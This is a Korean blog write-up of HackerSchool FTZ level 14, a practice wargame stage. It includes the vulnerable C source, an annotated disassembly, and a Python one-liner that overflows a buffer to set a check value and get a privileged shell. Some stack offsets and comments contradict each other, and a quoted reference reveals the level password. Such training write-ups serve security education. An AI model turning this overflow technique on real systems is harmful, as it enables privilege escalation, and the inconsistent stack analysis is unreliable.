System
[HackerSchool_FTZ] level 14
gayeon_
2023. 11. 23. 18:33
파일, 폴더 목록을 확인하고 힌트를 확인했다.
이전과 비슷한 버퍼 오버플로우 문제인 것 같다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
fgets() 함수를 보니 45바이트까지 입력되는 것 같다.
check 값이 0xdeadbeef이면 쉘을 띄운다.
gdb로 분석하니 스택 구조를 확인할 수 있었다.
0x08048490 <main+0>: push ebp ; 현재 스택 프레임의 베이스 포인터를 스택에 저장
0x08048491 <main+1>: mov ebp,esp ; 새로운 스택 프레임의 베이스 포인터로 현재 스택 포인터를 설정
0x08048493 <main+3>: sub esp,0x38 ; 로컬 변수 및 스택 공간을 확보하기 위해 스택 포인터를 조정
0x08048496 <main+6>: sub esp,0x4 ; 추가적인 공간 확보
0x08048499 <main+9>: push ds:0x8049664 ; 주소 0x8049664의 값을 스택에 푸시
0x0804849f <main+15>: push 0x2d ; 값 0x2d를 스택에 푸시
0x080484a1 <main+17>: lea eax,[ebp-56] ; 로컬 변수의 주소를 계산하여 레지스터 eax에 저장
0x080484a4 <main+20>: push eax ; 주소를 스택에 푸시
0x080484a5 <main+21>: call 0x8048360 <fgets>; fgets 함수 호출
0x080484aa <main+26>: add esp,0x10 ; 스택 정리
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef ; [ebp-16]의 값과 0xdeadbeef를 비교
0x080484b4 <main+36>: jne 0x80484db <main+75> ; 비교 결과에 따라 분기
0x080484b6 <main+38>: sub esp,0x8 ; 추가적인 공간 확보
0x080484b9 <main+41>: push 0xc17 ; 값 0xc17을 스택에 푸시
0x080484be <main+46>: push 0xc17 ; 값 0xc17을 스택에 푸시
0x080484c3 <main+51>: call 0x8048380 <setreuid> ; setreuid 함수 호출
0x080484c8 <main+56>: add esp,0x10 ; 스택 정리
0x080484cb <main+59>: sub esp,0xc ; 추가적인 공간 확보
0x080484ce <main+62>: push 0x8048548 ; 문자열 "cat flag"의 주소를 스택에 푸시
0x080484d3 <main+67>: call 0x8048340 <system> ; system 함수 호출
0x080484d8 <main+72>: add esp,0x10 ; 스택 정리
0x080484db <main+75>: leave ; 현재 스택 프레임을 해제하고 이전 스택 프레임으로 돌아감
0x080484dc <main+76>: ret ; 함수 종료
0x080484dd <main+77>: lea esi,[esi] ; 의미 없는 연산
main()
{
int crap; // [ebp-56]
int check; // [ebp-52]
char buf[20]; // [ebp-48]
int dummy[8]; // [ebp-28] (20 bytes padding + 8 bytes dummy)
int SFP; // [ebp-24] (Saved Frame Pointer)
int RET; // [ebp-20] (Return address)
// 나머지 부분은 생략
}
level14의 대략적인 main 스택 구조는 아래와 같다.
낮은 주소 -> 높은 주소
높은 주소
------------------------------
RET[4] [ebp]
SFP[4] [ebp - 4]
dummy[8] [ebp - 8]
crap[4] [ebp - 16]
check[4] [ebp - 20]
dummy[20] [ebp - 24]
buf[20] [ebp - 44]
------------------------------
낮은 주소
buf부터 check 마지막까지 44바이트이다.
(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme
위 코드로 check을 덮어주었다. Python 스크립트로 문자열을 생성해 attackme 프로그램에 전달하는 명령어이다.
|는 파이프 명령어로 이전 명령어의 출력을 다음 명령어의 입력으로 전달한다.
cat은 파이프를 통해 받은 데이터를 표준 출력으로 출력하는 명령어다.
40바이트까지는 A로 마지막 4바이트는 쉘이 열리는 check값이다.
참고 자료
https://mandu-mandu.tistory.com/37
해커스쿨 FTZ [LEVEL14] 풀이
해커스쿨 FTZ [LEVEL14] 풀이M4ndU 해커스쿨 FTZ [LEVEL14] 풀이입니다. ID | level14PW | what that nigga want? 으로 로그인합니다. $ ls -l 를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고, $ cat hint 를 이용해
mandu-mandu.tistory.com